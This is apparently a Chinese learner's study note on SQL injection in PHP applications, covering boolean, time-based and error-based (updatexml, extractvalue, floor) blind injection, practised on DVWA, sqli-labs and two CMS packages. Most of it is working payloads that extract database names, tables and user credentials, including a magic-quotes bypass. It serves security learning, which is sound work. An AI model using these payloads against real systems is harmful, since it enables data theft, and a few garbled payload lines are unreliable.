第44天:漏洞利用-PHP应用&SQL盲注&布尔回显&延时判断&报错处理&增删改查方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
1、在网站应用中进行数据显示查询效果
例: select * from news wher id=$id

2、insert 插入数据
在网站应用中进行用户注册添加等操作
例:insert into news(id,url,text) values(2,‘x’,’$t’)


3、delete 删除数据
后台管理里面删除文章删除用户等操作
例:delete from news where id=$id


4、update 更新数据
会员或后台中心数据同步或缓存等操作
例:update user set pwd=’$p’ where id=2 and username=‘admin’


5、order by 排列数据
一般结合表名或列名进行数据排序操作
例:select * from news order by $id
例:select id,name,price from news order by $order

#总结:
这里就是增删改查,跟是上一章不一样的是,上一章是不一样的闭合方式,这里是不一样注入的方式,不同的功能的sql,在注入的语句都有一点点区别。

MYSQL注入函数 布尔 报错 延迟

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
盲注就是在注入过程中,获取的数据不能回显至前端页面。
我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
解决:常规的联合查询注入不行的情况
我们可以知道盲注分为以下三类:
1、基于布尔的 SQL 盲注 逻辑判断
regexp,like,ascii,left,ord,mid

2、基于时间的 SQL 盲注 延时判断
if,sleep

3、基于报错的 SQL 盲注 报错回显
floor
updatexml extractvalue

延迟:
and sleep(1);
and if(1>2,sleep(1),0);
and if(1<2,sleep(1),0);

布尔:
and length(database())=7;
and left(database(),1)='p';
and left(database(),2)='pi';
and substr(database(),1,1)='p';
and substr(database(),2,1)='i';
and ord(left(database(),1))=112;

报错:
and updatexml(1,concat(0x7e,(SELECT versio
n()n()),0x7e),
and extractvalue(1, concat(0x5c, (select table_name from
information_schema.tables limit 1)));

更多:
https://www.jianshu.com/p/bc35f8dd4f7c

三种方式的注入的区别

1
2
3
延时注入:万金油,不管是什么情况下(没有WAF的情况下)该注入都可以适用
报错注入:前置条件,需要在代码中有一个报错处理,这样才能在注入的时候获得报错信息。
布尔注入:需要有回显

延迟手工注入顺序:

1、先判断目标网站的数据名的长度,那么这个时候的工作量就会大大减少【如果你输入的长度正确就会延时5秒,不是就不延时,也就是延时0秒】

2、然后是一个一个字符的去猜,而这个无非就是26个英文字母(和1-9)吗,因为数据库名不会有一些特殊符号在这个里面。

3、虽然有上面的方法,但是如果是真正的去手工操作的话,肯定是非常慢的,那么就需要借助一些工具或者脚本来代替我们去完成这些工作

1
2
3
4
5
6
7
8
9
10
参考:
like 'ro%' #判断ro或ro.. .是否成立
regexp '^xiaodi[a-z]' #匹配xiaodi及xiaodi...等
if(条件,5,0) #条件成立返回5反之返回0
sleep(5) #sQI语句延时执行5秒
mid(a,b,c) #从位置b开始,截取a字符串的c位,注意:索引从0开始
substr(a,b,c) #从b位置开始,截取字符串a的c长度
left(database(),1),database() #left(a,b)从左侧截取a的前b位
length(database())=8 #判断数据库database ()名的长度
ord=ascii ascii(x)=97 #判断x的asci i码是否等于97

报错注入实验

updatexml报错

这里我用的dvwa,其实报错注入需要有报错函数的,所以就算是盲注只要有报错函数,同样是可以使用报错注入,但是这个dvwa盲注关卡的代码中没有报错函数,所以这里就还是用显注的方式,学个思路吧~

获取当前数据库用户

1
1' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)--+

image-20250808115827000

可以看到是root用户,root用户可以进行跨库,还可能有机会写文件,读文件。但是这里只是对报错注入的单独研究,所以就仅仅注入就行。

获取数据库版本

1
1' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)--+

image-20250808120005290

获取数据库名

1
1' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)--+

image-20250808120100985

获取数据库路径

1
1' and updatexml(1,concat(0x7e,(SELECT @@datadir),0x7e),1)--+

image-20250808120207914

获取表名

1
1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='dvwa'),0x7e),1) --+

image-20250808125014670

获取列名

1
1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'),0x7e),1) --+

image-20250808125029772

获取内容

1
1' and updatexml(1,concat(0x7e,(select group_concat(first_name,0x7e,last_name) from dvwa.users)),1)  --+

image-20250808125625149

extractvalue报错

extractvalue()函数其实与updatexml()函数大同小异,都是通过xpath路径错误报错,而本人的示例中皆为利用0x7e(~),其不属于xpath语法格式,因此报出xpath语法错误。

获取数据库名

1
1' and extractvalue(1,concat(0x7e,user(),0x7e,database()))--+

image-20250808125955511

获取表名

1
1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='dvwa')))--+

image-20250808130329086

获取列名

1
1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users')))--+

image-20250808130821039

获取数据

1
1' and extractvalue(1,concat(0x7e,(select group_concat(user_id,0x7e,first_name,0x7e,last_name) from dvwa.users)))--+

image-20250808130951745

floor报错

原理:利用select count(*),floor(rand(0)*2)x from information_schema.character_sets group by x;导致数据库报错,通过concat函数连接注入语句与floor(rand(0)*2)函数,实现将注入结果与报错信息回显的注入方式。

判断有没有注入

1
1' union select count(*),floor(rand(0)*2) x from information_schema.schemata group by x#

获取数据库名

1
-1' union select count(*),concat(floor(rand(0)*2),database()) x from information_schema.schemata group by x--+

image-20250808132620898

获取表名

1
-1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(table_name) from information_schema.tables where table_schema='dvwa' limit 1,1)) x from information_schema.schemata group by x--+

image-20250808132816145

获取列名

1
-1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa' limit 0,1)) x from information_schema.schemata group by x--+

image-20250808132928474

获取数据

1
2
3
-1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(user_id,0x3a,first_name) from dvwa.users limit 0,1)) x from information_schema.schemata group by x--+ 

-1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(user,0x3a,password) from dvwa.users limit 0,1)) x from information_schema.schemata group by x--+

image-20250808133604796

image-20250808133622812

布尔注入

首先判断网站数据库的长度,然后在一个一个判断数据库名。这里除开直接使用字符的方式进行判断还可以进行ascii码进行判断。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
1.判断当前数据库名长度与数据库名称
and select length(database())>n //判断数据库名长度
and ascii(substr(database(),m,1))>n //截取数据库名第m个字符并转换成ascii码 判断具体值


2.判断数据库的表长度与表名
and length((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1))>n //判断第一行表名的长度

and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),m,1))>n //截取第一行表名的第m个字符串转换为ascii值判断具体为多少


3.判断数据库的字段名长度与字段名称
and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>n //判断表名中字段名的长度

adn ascii((substr(select column_name from information_schema.columns where table_name='users' limit 0,1),m,1))>n //截取表中字段的第m字符串转换为ascii值,判断具体值


4.判断字段的内容长度与内容字符串
and length((select user from users limit 0,1)) >1 //判断字符串内容长度

and ascii(substr((select user from users limit 0,1),m,1)) //截取第m个字符串转换为ascii值

基于时间的盲注案例(sqli-lab less-9)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
枚举当前数据库名
id =1' and sleep(3) and ascii(substr(database(),m,1))>n --+

枚举当前数据库的表名
id =1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit a,1),m,1))>n and sleep(3) --+

或者利用if函数
id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit a,1),m,1)) >n,sleep(5),1) --+

枚举当前数据库表的字段名
id =1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit a,1),m,1))>n and sleep(3) --+

枚举每个字段对应的数据项内容
id =1' and ascii(substr((select username from security.users limit a,1),m,1))>n and sleep(3) --+

CMS案例-xhcms-insert报错注入

image-20250808140615878

这里我快捷键不知道为什么用不了。所以这里直接用鼠标的方式进行查找

image-20250808140601464

找到上述代码,发现没有对代码进行过滤,然后还有报错函数,所以这里可以使用报错注入。

image-20250808140708720

image-20250808142548901

1
x1' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1) and '

CMS案例—KKCMS-delete延时注入

image-20250808144148408

直接在网站中对这个文件进行访问, 发现访问不到。因为这个是mvc的架构,所以看看哪个文件有对这个文件进行包含,最后找到如下:

image-20250808144245319

image-20250808144308666

直接访问这个路径,就可以发现有对应删除的功能。

image-20250808144536869

对这个删除的功能点进行抓包,这里需要注意空格需要转码成:%20

1
4%20or%20if(1=1,sleep(5),sleep(0))--+

image-20250808144647878

发现确实有延迟,但是这里是15秒。明明只是延迟5秒,好像是数据有三条,然后的对应的延迟有5秒,然后3*5=15秒,为什么会这样,我个人认为是笛卡尔积现象。

1
4%20or%20if(length(database())=5,sleep(1),sleep(0))--+		#判断数据库名字的长度是不是5位

image-20250808144921740

1
4%20or%20if(**left(database(),1)='k',sleep(1),sleep(0))--+ 

image-20250808145044909

这里我的数据库中的第一个字符明明就是k,为什么没有延迟呢?因为这个代码有魔术引号的过滤,所以这里要绕过一下, 这里用ascii码进行绕过。

1
4%20or%20if(ord(left(database(),1))=107,sleep(1),sleep(0))--+

image-20250808145305222